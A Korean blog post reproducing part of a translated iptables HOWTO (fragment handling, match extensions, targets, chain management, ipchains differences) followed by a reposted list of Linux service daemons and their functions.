가끔 패킷은 한번에 다 전달되기에는 너무 큰 경우가 있다. 이런경우 패킷은 여러
분절로 나뉘어지고 다중패킷의 형태로 전달된다. 목적지에서 이 분절들 은 재
구성되어 전체 패킷이 된다.



분절에서 문제점은 내부 패킷의 부분으로 IP 헤더 다음의 위치에서 프로토콜 헤더를
찾는데, 이것은 첫번째 분절에만 있기 때문에 찾을수가 없다.



만약 여러분이 접속추적이나 NAT를 한다면 모든 분절은 필터링 코드에 도달하 기
전에 뭉쳐지므로 분절에 대한 걱정은 할 필요가 없다.



그렇지 않다면, 분절들이 필터링 규칙에서 어떻게 처리되는가를 이해하는 것 은
중요하다. 우리가 가지고있지 않은 정보를 요구하는 필터링 규칙에 부합될 수가
없다. 이것은 첫번째 패킷은 다른 패킷과 같이 처리되고 두번째 이후의 분절은
전달될 수 없음을 의미한다. 그러므로 -p TCP --sport www ('www' 를 출신 포트로
지정하는 경우)와 같은 규칙에 맞는 분절은 있을 수 없다( 첫번째 분절을
제외하고). 그 반대의 규칙인 -p TCP --sport ! www도 분 절들을 처리할 수 없다.



그러나, 두번째 이상의 분절에 대하여 규칙을 지정하기위하여 '-f'
('--fragment')라는 지시자를 사용할 수 있다. 두번째 이상의 분절에는 적용
되지않는 규칙을 지정하기 위하여 '-f' 앞에 '!' 를 붙이는 것도 가능하다.



일반적으로 , 첫번째 분절에 필터링이 적용되어 DROP 되면 목적지 에서 다른
분절들의 재합성이 되지 않으므로, 두번째 이상의 분절이 그냥 지나가도록하는 것도
안전한 것으로 간주 된다. 그러나 단순히 분절들을 전달하는 것만으로 호스트를
크래쉬가 생기는 버그가 알려져 있다. 여러분이 결정할 일이다.



네트워크 헤더에 대한 주의 : 잘못 구성된 패킷들은 이러한 시험을 할때 DROP
되었다. (TCP, UDP, ICMP 패킷중 길이가 너무 짧아 파이어월 코드가 포트나 ICMP
코드와 형태를 읽을 수 없는 경우). 왜냐하면 TCP 분절은 8번째 위치부터 시작되기
때문이다.



예로, 다음과 같은 규칙은 192.168.1.1 로 향하는 분절을 DROP 시킨다.


# iptables -A OUTPUT -f -d 192.168.1.1 -j DROP
#



iptables 의 확장 : 새로운 대상(Matches)


iptables는 확장 가능하다. 즉 새로운 형태를 제공하기 위하여 iptables와 커널
모두가 확장 가능하다는 의미이다.



이중 일부는 표준적이고 다른 것은 이색적이다. 다른사람에 의해서도 확장 은
만들어질 수도 있으며 독립적으로 배포될 수 있다.



정상적으로 커널 확장은 커널 모듈 하부 디렉토리에 존재한다.
(/lib/modules/2.3.15/net). 이것은 요구에 의하여 적재된다. 그러므로 직 접 이들
모듈을 적재할 필요는 없다.



iptables의 확장들은 공유라이버러리 형태로 보통 /usr/local/lib/iptables 에
위치한다. 배포판은 이것을 /lib/iptables나 /usr/lib/iptables에 넣으 려 할
것이다.



확장은 두가지 형태이다. : 새로운 타겟(target), 새로운 적용(match) 아래에
새로운 타겟에 대하여 이야기 할 것이다. 어떤 프로토콜은 자동으로 새로운
테스트를 제공하는데 현재로는 TCP, UDP, ICMP 에 대해서 아래에 보여 줄 것이다.



이것을 위해서 '-p' 옵션 뒤에 지정하는데 그러면 확장을 적제할 것이다. 명백히
할려면 '-m' 옵션으로 확장을 적재하고 확장 옵션을 사용가능하게 할 수 있다.



확장에 대한 도움을 얻으려면, 적제하는 옵션('-p', '-j', '-m')을 '-h'나 '--help'
다음에 지정하면 된다.



TCP 확장


TCP 확장은 '--protocol tcp' 가 지정되고 다른 적용이 지정되지 않으면 자동으로
적제된다. 이것은 다음과 같은 옵션을 제공한다.



--tcp-flags

'!' 옵션을 사용한다면 이것 뒤에 두개의 단어를 사용한다. 첫번째 것은 검사하고자
하는 지시자 리스트의 마스크이다. 두번째 단어는 지시자에게 어떤것이 설정 될
것인지를 말해준다. 예를들어,


# iptables -A INPUT --protocol tcp --tcp-flags ALL SYN,ACK -j DENY


이것은 모든것이 검사되어야 함을 말한다.('ALL'은 `SYN,ACK,FIN,RST,URG,PSH' 와
같다.) 그러나 SYN 과 ACK 만 설정된다. 'NONE'는 지시자가 없음 을 말한다.


--syn

'!' 옵션이 선행될 수 있다. 이것은 '--tcp-flags SYN,RST,ACK,SYN'의 약어이다.


--source-port

'!' 옵션이 선행될 수 있다. 이후에 하나의 TCP 포트나 포트의 범위를 지정한다.
/etc/services 에 기록된 것과 같은 포트 이름이 사용될 수 도 있고 숫자로 나타낼
수도 있다. 범위는 두개르 포트 이름을 '-' 으 로 연결해서 사용하거나 (커거나
같은경우를 위해서) 하나의 포트 뒤에 '-'를 사용하거나 (작거나 같은 경우를
위해서) 하나의 포트 앞에 '-' 를 덧붙일 수 있다.


--sport

이것은 '--source-port'와 동의어이다.


--destination-port



--dport

는 위의 내용과 같으나 목적 지를 지정한다.


--tcp-option

'!' 나 숫자가 옵션에 선행될 수 있는데 숫자가 앞에 올경우 그 숫자 와 TCP 옵션이
같은 경우의 패킷을 검사한다. TCP 옵션을 검사하려 할 때 완전한 TCP 헤더를
갖지않는 것은 자동으로 DROP 된다.



TCP 지시자에대한 설명


가끔 한쪽 방향에서의 TCP 접속만 허랑하고 다른 방향에서의 접속을 불허하 는 것이
유용하다. 예로, 여러분은 외부 WWW 서버로의 접속은 허락하며 그 서버로 부터의
접속은 불허하기를 원할 것이다.



단순하게 그 서버로부터 오는 TCP 패킷을 막으면 된다고 생각할 것이다. 그러 나,
불행히도 작동하기 위해서 TCP 접속은 양방향의 패킷을 요구한다.



해법은 접속을 요구하는 패킷만 막는 것이다. 이러한 패킷을 SYN 패킷이라한다.
(물론, 기술적으로 SYN 지시자 셋을 갖는 패킷이 있다. 그리고 FIN 과 ACK 지시
자는 지워진다. 그러나 간단히 그것을 SYN 패킷이라고 한다.) 이러한 패킷만
불가능으로 만듬으로서 외부로 부터의 접속 시도를 막을 수 있다.



이러한 것을 위해서 '--syn' 지시자가 사용된다. : 이것은 프로토콜을 TCP 로
지정했을 때만 효과가 있다. 예를 들면, 192.168.1.1 로부터의 TCP 접속을 지
정하기 위하여 다음과 같이 하면 된다.

-p TCP -s 192.168.1.1 --syn



접속을 시작한 것 외의 모든 패킷을 지정하기 위하여 '!' 옵션이 선행될 수 있다.



UDP 확장


이 확장은 '--protocol udp'가 지정되고 적용이 저정되지 않으면 자동으로
적재된다. 이것은 '--source-port', '--sport', '--destination-port', '-dport'를
지원하고 내용은 TCP 설명에서 자세히 나왔다.



ICMP 확장


이 확장은 '--protocol icmp'가 지정되고 그 적용이 지정되지 않으면 자동으로
적재된다. 이것은 단 하나의 새로운 옵션만 지원한다.:



--icmp-type

'!' 옵션이 선행될 수 있다. 이후에 ICMP 타입의 이름('host-unreachable') 이나
숫자형태 ('3'), 또는 숫자형태와 코드('/'로 분리 예. '3/3') 의 형 태가
사용된다. 사용할 수 있는 ICMP 형태의 이름의 리스트는 '-p icmp --help' 하면
나타난다.



그외의 적용 확장


Netfilter 패키지의 다른 확장은 시험적인 확장이다. 이것은 (설치 되어있다면)
'-m' 옵션으로 활성화 된다.


mac

이 모듈은 '-m mac' 또는 '--match mac' 이라고 함으로 지정할 수 있다. 이것은
들어오는 패킷의 이더넷 주소를 검사한다. 그러므로 입력 체인에 서만 유용하다.
이것은 하나의 옵션만 제공한다.


--mac-source

'!' 옵션이 선행 될 수 있다. 이후에 콜론으로 분리된 16진수 숫자의 이더넷 주소가
온다. 예 '--mac-source 00:60:08:91:CC:B7'


limit

이 모듈은 '-m limit' 또는 '--match limit'이라고 함으로 지정할 수 있 다. 이것은
로그 메세지를 억제할때 처럼 적용검사의 속도를 제한하는데 사용한다. 1초에
주어진 숫자만큼의 적용만 검사한다. (기본값은 한 시간 에 3번, 최고 5번이다.)
이것은 두개의 옵션을 제공한다.


--limit

숫자가 따라온다 : 초당 평균 최대 적용 검사 수를 지정한다. 숫자뒤 에 시간단위를
지어할 수 도 있다. ('/second', '/minute', '/hour', '/day'형태이다. 예로,
'5/second' 또는 '5/s'가 가능하다)


--limit-burst

숫자가 따라온다. 위의 제한이 적용되기전의 최대 Burst(?) 를 제한 한다.


이 적용은 종종 로그의 속도를 제한하기위하여 LOG 타겟과 함께 사용된 다. 이것을
이해하기위하여 아래에 기본 제한설정을 하는 로그 패킷제한 을 보자.


# iptables -A FORWARD -m limit -j LOG


이 규칙에 도달될때까지 패킷은 로그될 것이다. 사실 Burst의 기본값은 5 이므로
처므ㅇ 5개의 패킷은 로그될것이다. 그 이후 얼마나 많은 패킷이 도달하든 간에
하나의 패킷이 로그되기전에 20분이 걸릴 것이다. 그리고 20분 동안 패킷 적용이
없으면 Burst 하나가 다시 생길 것이다. 패킷없이 100분 이 지나면 Burst는 완전이
원상 복구 될것이다. 처음 시작할때로 돌아가는 것 이다.



재복구 시간을 59시간 이상으로는 설정하지 못한다. 그러므로 평균속도를 하 루에
1개로 설정하였다면 Burst 속도는 3 이하가 되어야 한다.


owner

이 모듈은 지역에서 생성된 패킷의 생성자의 여러 특징을 적용하려고 한다. 이것은
출력 체인에만 사용되며 어떤 패킷들(ICMP ping 응답같은)은 소유자 가 없으므로
적용되지 않는다.


--uid-owner userid

유효한 사용자 id (숫자)의 프로세서가 생성한 패킷에 적용한다.

--uid-owner groupid

유효한 그룹 id (숫자)의 프로세서가 생성한 패킷에 적용한다.

--pid-owner processid

주어진 프로세서 id 의 프로세서가 생성한 패킷에 적용한다.

--sid-owner processid

세션 그룹내의 프로세서가 생성한 패킷에 적용한다.


unclean

이 시험적인 모듈은 정확히 '-m unclean' 또는 '--match unclean'으로 지정해
주어야 한다. 이것은 무작위의 여러 건전성 검사를 한다. 이것은 제대로 검사되지
않았고 안전성 도구로도 사용되지 못한다.(아마도 이것 은 무제를 더욱 힘들게 하고
버그 그 자체일 것이다.) 이것은 옵션이 없다.



상태 적용


가장 유용한 적용 기준은 'ip_conntrack' 모듈의 접속 추적 분석을 해석하는
'state' 확장이다. 이것을 강력히 추천한다.



'-m state'를 지정함으로 '--state' 옵션을 사용할 수 있는데 이후에 콤마로
분리되는 적용할 상태들의 리스트가 온다.('!' 지시자는 사용되어지지 않는 다.) 이
상태들은 ;


NEW

새로운 접속을 만드는 패킷


ESTABLISHED

존재하는 접속에 속하는 패킷 (즉, 응답 패킷을 가졌던 것)


RELATED

기존의 접속의 부분은 아니지만 연관성을 가진 패킷으로 . ICMP 에러 나 (FTP
모듈이 삽입 되어있으면) ftp 데이터 접속을 형성하는 패킷.


INVALID

어떤 이유로 확인할 수 없는 패킷: 알려진 접속과 부합하지 않는 ICMP 에러와 'out
of memory' 등을 포함한다. 보통 이런 패킷은 DROP 된다.



7.4 타겟 지정


이제 패킷에서 어떤 검사를 할 수 있는지를 알았다. 이제 우리의 검사에 일치 하는
패킷을 어떻게 할 것인지를 말하는 것을 알아야 한다. 이것을 규칙 타겟 이라고
한다.



두개의 이미 만들어진 단순한 타겟이 있다. : DROP 과 ACCEPT. 이미 이것에
대해서는 이야기를 한 적이 있다. 적용이 되는 패킷과 그것의 타겟이 위의 두 개중
하나라면 더이상의 참고할 규칙은 없다. : 패킷의 운명은 결정 되는 것 이다.



이미 만들어진 두개의 타겟외에 두가지 형태의 타겟이 있다.: 확장과 사용자 지정의
체인들 이다.



사용자 지정의 체인들


ipchains로 부터 상속되는 iptables의 강력한 기능중의 하나는 능력되는 사용 자가
기존의 세개의 체인(입력, 출력, 포워드)외에 새로운 체인을 생성할 수 있다는
것이다. 모임의 결과 사용자 지정의 체인은 그것을 구분하기 위하여 소문 자로
나타낸다. (아래 전체 체인에 대한 작용 부분에서 어떻게 사용자 지정의 새로운
체인을 만드는지 기술할 것이다.)



타겟이 사용자 지정의 체인인 규칙에 패킷이 맞으면 패킷은 사용자 지정의 체인을
따라 움직이게 된다. 그 체인이 패킷의 운명을 결정하지 못하면 그리고 그 체인에
따른 이송이 끝나면, 패킷은 현제 체인의 다음 규칙으로 돌아온다.



그림을 보자. 두개의 체인이 있고 그것이 입력과 테스트라는 사용자 지정의 체인이
라고 가정하자.


`INPUT' `test'
---------------------------- ----------------------------
| Rule1: -p ICMP -j DROP | | Rule1: -s 192.168.1.1 |
|--------------------------| |--------------------------|
| Rule2: -p TCP -j test | | Rule2: -d 192.168.1.1 |
|--------------------------| ----------------------------
| Rule3: -p UDP -j DROP |
----------------------------



192.168.1.1 로부터 와서 1.2.3.4 로 향하는 TCP 패킷이 있다고 가정한다. 이것은
입력 체인으로 들어온다. Rule1 을 검사한다. 맞지 않음. Rule2 맞음. 그것의 타겟
은 테스트, 고로 다음 검사할 규칙은 테스트의 시작이다. 테스트의 Rule1 이 맞다.
그러나 이것이 타겟을 지정하지 않는다. 그러므로 다음 규칙이 검사된다. Rule 2.
맞지 않다. 그 체인의 끝에 도달했다. 다시 입력 체인으로 돌아가서 Rule3 을 검사
한다. 그것도 맞지 않다.



여기서 패킷의 이동경로를 그림으로 나타냈다.

v __________________________
`INPUT' | / `test' v
------------------------|--/ -----------------------|----
| Rule1 | /| | Rule1 | |
|-----------------------|/-| |----------------------|---|
| Rule2 / | | Rule2 | |
|--------------------------| -----------------------v----
| Rule3 /--+___________________________/
------------------------|---
v



사용자 지정의 체인에서 대를 사용자 지정의 체인으로 갈수 있다. (그러나 루프 를
돌수는 없다. 루프를 발견하게 되면 패킷은 DROP 된다.)



iptables로의 확장 : 새로운 타겟


타겟의 다른 형태는 확장이다. 타겟 확장은 커널 모듈로 구성된다. 그리고 iptables
에 대한 선택적 확장은 새로운 명령행의 옵션을 제공한다. 기본적으로 넷필터
배포에 포함된 몇몇의 확장은 다음과 같다.


LOG

일치하는 패킷의 커널 로그를 제공한다. 이것은 부가의 옵션을 제공한다.

--log-level

레벨 숫자나 이름이 따라온다. 유효한 이름은 (상황에 따라 다르다) 'debug'
'info', 'notice', 'warning', 'err', 'crit', 'alert', 'emerg' 이고 이것 은 각각
숫자 7 에서 0 에 대응한다. 이런 레벨에 대한 설명은 syslog.conf 의 man 페이지를
보라.


--log-prefix

14자 까지의 문장이 따라온다. 이 메세지는 로그 메세지의 시작부분으로 보내져서
확인에 사용될 수 있다.


이 모듈은 'limit' 타겟 다음에 사용하면 가장 효과적이다. 그래서 로그가 넘
지나지 않도록 할 수 있다.


REJECT

이 모듈은 'DROP'과 같은 효과를 나타낸다. 다만, 'port unreachable' 이라는 에러
메세지를 ICMP 로 보낸다. 주의할 것은 ICMP 에러 메세지는 다음의 경우 보내 지지
않는다 ( RFC 1122 를 보라) :


검사된 패킷이 ICMP 에러메세지이거나나 알수 없는 ICMP 형태인 경우
검사된 패킷이 헤더가 없는 분절인 경우
너무 많은 ICMP 에러 메세지를 그 목적지로 보낸 경우.

REJECT 는 '--reject-with'라는 옵션을 가지는데 이것은 사용할 응답 패킷을
변경한다. 자세한 것은 메뉴얼 페이지를 보라.



특별한 미리 만들어진 타겟


두개의 미리 만들어진 타겟이 있다 : RETURN, QUEUE



RETURN은 한 체인의 끝으로 보내지는 것과 같은 효과가 있다. : 미리 만들어진 체
인의 경우 그 체인의 정책은 실행이다. 사용자 정의 체인의 경우 이 체인으로 점프
하는 규칙의 바로 다음인 이전 체인으로 이동한다.



QUEUE은 특별한 타겟으로, 사용자공간의 작업을 위해 패킷을 대기하도록 한다. 패킷
을 위해서 대기하고있는 것이 없다면(즉, 이 패킷을 다룰 프로그램이 아직 씌어져
있지 않다면) 패킷은 DROP 될 것이다.



7.5 전체 체인에 대한 작용.


iptables의 유용한 기능주 하나는 여러 관계가 있는 규칙을 하나의 체인속으로
그룹화 하는 것이다. 체인의 이름은 어떤 것을 사용할 수도 있으나 미리 만들어 진
체인과의 혼동을 막기 위하여 소문자를 사용하기를 권한다. 체인의 이름은 16 자
까지 가능하다.



새오룬 체인 생성


새로운 체인을 만들어 보자. 나는 매우 상상력이 좋은 사람이므로 이것을 테스트
라고 부르기로 하겠다. '-N' 또는 '--new-chain' 옵션을 사용한다.


# iptables -N test
#



단순하다. 이제 이 체인에 상세한 규칙을 적용할 수 있다.



체인 제거


체인을 제거하는 것도 단순하ㄷ. '-X' 나 '--delete-chain' 을 사용한다.


# iptables -X test
#



체인을 제거 하는데는 몇가지 제한이 있다. 이것은 비어있어야 한다. (아래의 체인
비우기를 보라) 그리고 그것은 다른 어떤 규칙의 타겟도 아니어야 한다. 미리
만들어진 세개의 체인은 제거할 수 없다.



체인의 이름을 지정하지 않으면 모든 사용자 정의의 체인은 제거된다.



체인 비우기


하나의 체인의 모든 규칙을 비우는 간단한 방법이 있으니, '-F' ('--flush')
명령이다.


# iptables -F forward
#



체인을 지정하지 않으면 모든 체인의 규칙이 지워진다.



체인 규칙 나열하기


한 체인의 모든 규칙은 '-L' 명령으로 나열할 수 있다.



각 사용자 정의의 체인을 나열했던 'refcnt' 는 그 체인을 그들의 타겟으로하 는
규칙들의 번호이다. 체인이 제거되기 위해서는 이것이 '0' 으로 되어야 한다.
(그리고 그 체인은 비어야 한다)



체인의 이름이 생략되면 비어있는 것을 포함한 모든 체인이 나열된다.



'-L' 명령에 따르는 옵션은 세개가 있다. '-n' (numeric) 옵션은 iptables가
여러분이 DNS 요구를 필터링 아웃한 경우나 DNS가 적절이 설정되어 있지 않다면
오랜 시간이 걸리는, IP 주소를 찾는 것을 예방하는 아주 유용한 옵션이다. 이것 은
TCP와 UDP 포트가 이름이 아닌 숫자로 출력되도록 하기도 한다.



'-v' 옵션은 규칙의 자세한 정보(패킷과 바이트 카운터, TOS 비교, 인터페이서와
같은)를 나타낸다.



패킷과 바이트 카운트는 'K'(1000), 'M'(1,000,000), 'G'(1,000,000,000) 와 같은
접미어와 함께 나타난다. '-x' (확장 수) 지시자를 사용하면 얼마나 큰 숫자든 전
체 숫자가 나타난다.



카운트 리셋트 ('0'으로 만들기)


이것은 카운트를 리셋하는데 유용하다. 이것은 '-Z' ('--zero') 옵션으로 가능하다.



이것의 문제점은 리셋하기 직전의 카운트 값을 알필요가 있을 때가 가끔 있다는 것
이다. 이러한 경우의 예로, 어떤 패킷이 '-L' 과 '-Z' 명령 사이에 지나갈 수 있다.
이런이유로 카운트를 읽는 것과 동시에 리셋하기위해서 '-L' 과 '-Z' 명령을 같이
사용할 수 있다.



정책 설정


우리가 이전 체인을 패킷이 어떻게 지나가는가를 의논할 때, 미리 만들어진 체인의
끝에 패킷이 다다렀을때 무슨 일이 일어날 것인가를 설명하였다. 이 경우 체인의
정책이 그 패킷의 운명을 결정한다. 미리 만들어진 체인(입력, 출력, 포워드)만이
정책을 가지는데, 이것은 사용자 정의의 체인의 끝에 다다른 패킷의 이동은 이전
체인에서 요약되어지기 때문이다.



정책은 ACCEPT 또는 DROP 이 될수 있다.



ipchains와 ipfwadm을 사용하기


배포되는 넷필터에는 ipchains.o 와 ipfwadm.o 라는 모듈이 있다. 이것을 여러 분의
커널에 포함시키면 이전과 똑 같이 ipchains 나 ipfwadm을 사용할 수 있 다. ( 주의
: 이들은 iptables.o, ip_conntrack.o, ip_nat.o와 호환성이 없다)



이것은 아직 한동안은 지원될 것이다. 이들을 완전히 대치하는 안정판이 나오 는데
까지는 2 * [대치할 것이라는 발표 - 첫번째 안정판] 이라는 공식이 적 용된다고
생각한다.



즉, ipfwadm의 경위 이것의 지원이 종료될 때는 :


2 * [October 1997 (2.1.102 release) - March 1995 (ipfwadm 1.0)]
+ January 1999 (2.2.0 release)
= November 2003.



그리고 ipchains의 경우 이것의 지원이 종료될 때는 :


2 * [August 1999 (2.3.15 release) - October 1997 (2.2.0 release)]
+ January 2000 (2.3.0 release?)
= September 2003.


그러므로, 2004년 까지는 걱정할 필요가 없을 것이다.


8. iptables와 ipchains의 차이점


첫째로, 미리 만들어진 체인의 이름들이 소문자에서 대문자로 바뀌었는데 이것은
입력과 출력 체인은 이게 지역 넷으로 향하는 그리고 지역에서 생성된 패킷만을
적용하기 때문이다. 이것은 모든 들어오는것과 나가는 패킷을 다룬다.
'-i' 지시자는 들어오는 인터페이스만 의미하고 입력 과 포워드 체인 에서만
작동한다. 포워드 나 출력 체인에 사용되었던 '-i' 는 '-o'로 바꿔야 한다.
이제 TCP 와 UDP 포트는 --source-port 또는 --spotr (또는 --destination-port /
--dport) 옵션과 함께 사용되어져야 할 필요가 있고 '-p tcp' 또는 '-p udp' 옵션과
함께 사용되어져야 한다. 그러면 이것은 TCP 또는 UDP 확장을 각각 적재 할 것이다.
(ipt_tcp 와 ipt_udp 모듈을 수동으로 적제 하기위해서 포함 시킬 수도 있다.)
TCP -y 지시자는 --syn으로 바뀌었고 `-p tcp'다음에 와야 한다.
DENY target 는 DROP 으로 바뀌었다.
Zeroing single chains while listing them works.
만들어진 체인을 '0'으로하면 정책 카운터도 지워진다.
체인을 나열하는 것은 카운트의 스넵샷을 제공한다.
REJECT 와 LOG 는 확장된 target이다. 즉, 이것들은 독립된 커널 모듈이다는
의미이다.
체인 이름은 16자 까지 가능하다.
MASQ 와 REDIRECT 는 더이상 target 이 아니다. iptables은 패킷을 변화 시키지
않는다. 이것을 위해서 NAT라는 하부구조가 있다. 이것은 ipnatctl 하우두를
읽어보아라.
그 외의 것들은 잊어먹었다.
===============================================================================
2009/06/07 21:00 2009/06/07 21:00
샤이 이 작성.

당신의 의견을 작성해 주세요.

----출처=http://blog.naver.com/choibit/140033014529

* NetworkManager, NetworkManagerDispatcher


   네트워크 인터페이스를 자동으로 관리하기 위한 데몬


* acpid


   ACPI(Advanced Configuration and Power Interface) 방식의 시스템 전력 관리를 위한 데몬 


* anacron


   crond와 같은 작업 스케줄러 데몬이지만 crond와는 달리 시스템이 계속 켜져있지 않다고


   가정하여 하루보다 작은 단위의 스케줄을 관리


* apmd


   APM(Advanced Power Management) 데몬 - 배터리를 필요로 하는 노트북 등 휴대용


   데스크톱에서 필요


* atd


   crond와 같은 작업 스케줄러 데몬


* autofs


   파일 시스템을 자동으로 마운트하기 위한 데몬


* avahi-daemon


   네트워크 서비스를 인식하는 멀리캐스트 DNS 서비스 Avahi 데몬


* avahi-dnsconfd


   DNS 재설정 기능을 위한 데몬


* bluetooth


   블루투스 장치를 사용하기 위한 데몬


* cpuspeed


   CPU SPEED 데몬


* crond


   작업 스케줄러 cron 데몬


* cups


   리눅스의 기본 출력 시스템인 CUPS데몬


* cups-config-daemon


   CUPS 설정을 위한 데몬


* dhcdbd


   DHCP D-BUS 데몬(DHCP 클라이언트를 D-BUS로 관리하기 위해 필요)


* dhcpd


   동적 IP환경에서 인터넷을 사용하기 위한 DHCP 데몬


* dhcrelay


   DHCP 중계를 위한 데몬


* diskdump


   시스템에 문제가 생겼을 때 메모리에 있던 내용을 디스크 장치에 기록하기 위한 데몬


* gpm


   콘솔 환경에서 마우스 지원을 위해 필요한 데몬


* haldaemon


   장치를 자동으로 인식하기 위해 필요한 HAL 데몬


* hidd


   불루투스 장치를 사용할 때 필요한  불루투수 ID 데몬


* hplip


   HP사 제품의 출력을 위한 데몬


* httpd


   웹서버 데몬


* iptables


   방화벽, 매스커레이드 설정을 위한 iptables 데몬


* irda


   적외선 통신을 위한 irda 데몬


* irqbalance


   멀티프로세서(둘 이상의 CPU를 사용하는 환경)에서 CPU간의 인터럽트를 분리하기 위한 데몬


* isdn


   ISDN 서비스를 위한 데몬


* kudzu


   새로운 하드웨어가 추가되었을 때 검색을 위한 데몬


* lm_sensors


   CPU 온도, 마더보드 온도, 팬 상태, 전압 등의 시스템의 상황을 실시간으로 알 수 있는


   lm_sensors 데몬


* mdmonitor


   RAID상태를 모니터링하기 위한 데몬


* mdmpd


   다중 경로의 장치를 모니터링하고 관리하기 위한 데몬


* messagebus


   시스템 이벤트를 전송하기 위한 데몬


* mysqld


   MySQL 데이터베이스 데몬


* named


   DNS 서버 데몬


* netdump


   콘솔을 초기화하기 위한 데몬


* netfs


   삼바, NFS, NCP 등 네트워크 파일 시스템을 마운트하기 위한 데몬


* netplugd


   네트워크 케이블을 연결했을 때 접속 여부를 리눅스 커널에게 알리기 위한 데몬


* network


   네트워크 데몬(네트워크 접속을 위해 반드시 활성화되어야 함)


* nfs


   유닉스와 리눅스의 기본 네트워크 파일 시스템 NFS 데몬


* nfslock


   NFS를 통해 공유되는 파일을 클라이언트가 동시에 수정하는 것을 막기 위해 파일을


   잠그는 데몬(NFS를 운영하는데 필요)


* nscd


   네밍 서비스에 대한 요청 결과를 캐시해서 다음 요청에 응답하기 위한 데몬


   (NIS와 DNS를 운영하는데 필요)


* ntpd


   네트워크를 통해 리눅스 서버의 시간 정보를 동기화하기 위한 Network Time Protocol 데몬


* portmap


   원격 시스템 호출에 사용하는 데몬(NFS, NIS를 사요할 때 필요)


* proftpd


   FTP 서버 데몬


* psacct


   프로세스 통계를 확인하기 위한 psacct 데몬


* rdisc


   동적 라우팅에서 라우터를 자동으로 찾기 위한 RDISC 데몬


* readahead


   로그인 전에 특정 파일을 사용하기에 앞서 메모리에 미리 불러들여 속도를 높이기 위한 데몬


* readahead_early


   모든 데몬이 시작하기 전에 특정 파일을 사용하기에 앞서 메모리에 미리 불러들여 속도를


   높이기 위한 데몬


* rpcgssd


   원격 인증을 위한 GSS(General Security Service) 데몬


   (NFS version 4 클라이언트를 위해 필요)


* rpcidmapd


   원격 이름 매핑을 위한 idmap(IDmapping) 데몬


   (NFS version 4를 위해 필요)


* rpcsvcgssd


   원격 인증을 위한 GSS(General Security Service) 데몬


   (NFS version 4 서버를 위해 필요)


* saslauthd


   SASL(Simple Authentication and Security Layer)을 이용한 암호화된 사용자 인증을 위한 데몬


* sendmail


   메일 서버 Sendmail 데몬


* smartd


   시스템 모니터링을 위한(Self-Monitoring, Analysis and Reporting Technology) 데몬


* smb


   삼바 서버 데몬 (smbd와 nmbd를 동작시키기 위한 데몬)


* snmpd


   네트워크 관리를 위한 SNMP 데몬


* snmptrapd


   SNMP TRAP 데몬


* spamassassin


   스팸메일을 거르기 위한 스펨메일 필터 데몬


* squid


   프록시 서버 Squid 데몬


* sshd


   SSH 서버 데몬


* syslog


   시스템 로그를 관리하기 위한 syslog 데몬


* vncserver


   원격접속을 위한 VNC 서버 데몬


* winbind


   삼바 서버와 윈도우 간에 네트워크 공유를 위해 필요한 데몬


* wpa_supplicant


   무선 네트워크 접속에 사용되는 WPA(Wi-Fi proctedted access) 데몬


* xfs


   X윈도우의 폰트를 관리하기 위한 데몬


* xinted


   xinetd 방식의 네트워크 서비스를 관리하기 위한 슈퍼 데몬


* ypbin


   NIS 서버 데몬


* yum


   온라인 패키지 관리도구 yum 데몬


 ----- 이전 -----


 acpid-커널이 전원을 관리
dep1000-고속연산을 위한 aep1000/aep2000 코프로세서드라이버
anacron-
apmd-배터리를 필요로 하는장치에 사용(랩탑)
atd-특정시간에 지정명령어실행,시스템부하가 적을시 배치명령실행
autofs- 파일시스템이용시 자동마운트,이용안할시 자동언마운트
bcm5820-하드웨어 암호의 엑셀레이터 제공
chargen-슈퍼데몬 내부의 서비스에 접속이 끊길때까지 문자를 생성한다
cpuspeed-동적 CPU speed 데몬 실행
crond- 리눅스용 스케쥴러 데몬입니다.
cups-공동유닉스 인쇄시스템을 위한 실행,종료스크립트
cups-lpd-cups의 통신에 있어서 물려받은 lpd프로토콜에서의 어플리케이션사용 허용여부
daytime-현제시스템시간을 Wed Nov 13 22:30:27 EST 2002와 같이 출력할때
dc client-Distcache is a Distributed SSL Session Cache Client Proxy
dc server-Distcache is a Distributed SSL Session Cache Server
dovecot-Dovecot Imap Server
echo-echo's characters back to clients
gpm- 마우스 드라이버 데몬 입니다.
httpd- Web 서버 데몬 입니다.
innd-유즈넷뉴스서버로 지역뉴스서버를 설정
iptables- 방화벽 설정 데몬 입니다.
irda-장치간의 적외선 통신 제공
irqbalanced-멀티프로세서체제에있어 CPU간의 인터럽트를 분리함
isdn-isdn
ktalk-talk서버의 KDE버젼
kudzu 새로운 하드웨어가 추가됐을 때 이를 검색해주는 데몬입니다.
lisa-끝난 사용자시스템을 실행시키는 데몬
mdmonitor-RAID모니터링 관리
mdmpd-멀티패스장치 모니터링
messagebus-시스템이벤트를 브로드캐스팅
micorcode ctl-스크립트를 CPU microcode에 적용
named - BIND 데몬 입니다 (Domain Name Server)
netdump-네트워크콘솔을 제외한 콘솔을 초기화
netfs- 넷트웍 파일 시스템 데몬 입니다.
netplugd-논스태틱네트워크인터페이스를 관리하는데몬
network- 리눅스의 네트웍 데몬 입니다. 이것의 체크를 지우시면 인터넷이 되지 않습니다.
nfs-nfs서ㅓ로 작동할수있게함(보안상문제있음)
nfslock-rpclockd와rpcstatd를 실행해줌,nfs를 사용하지않을시 보안상문제로 옵션을 끈다
ntpd-네트워크타임프로토콜로 컴퓨터클라이언트나 서버의 시간을 다른 서비스로 부터 동기화함
pcmcia-랩탑에서 이더넷이나모뎀을 제공하는데 사용
portmap-리모트프로시져콜에관여하는 데몬,NFS나NIS사용시 선택
postgresql-postgresql DB를 이용하고자할때 씀
psacct-프로세스 계산
random시스템 난수발생에 필요한 데몬입니다.-
rawdevices-raw장치할당스크립트,오라클어플리캐이션에서 사용
readahead-startup 을 하는동안 프로그램들을 메모리에 로드시킴
rhnsd-업데이트를 체크해줌
rpcgssd-NFSv4클라이언트를 위한RPCSEC GSS관리하는 사용자레벨데몬
rpcidmapd-NFSv4를 위한 유저레벨 데몬
rpcsvcgssd-NFSv4서버를 위한 RPCSEC GSS관리하는 사용자 레벨데몬
rsync-FTP서버인rsync서버
sendmail-메일 서버 데몬 입니다.
services-인터넷슈퍼데몬서비스
sgi fam-파일교환시 모니터링
smartd-자신을 모니터링하고 기술보고서 작성
smb-삼바서버의 활성화를 하게함
snmpd-단순한 네트워크 관리 프로토콜
snmptrapd-단순한네트워크관리 프로토콜트랩
squid-인터넷오브젝트캐시로 요청되는 인터넷 오브젝트 저장
sshd-ssh 서버
syslog-/var/log에 시스템 로그파일 기록
time -시간서버
time-udp
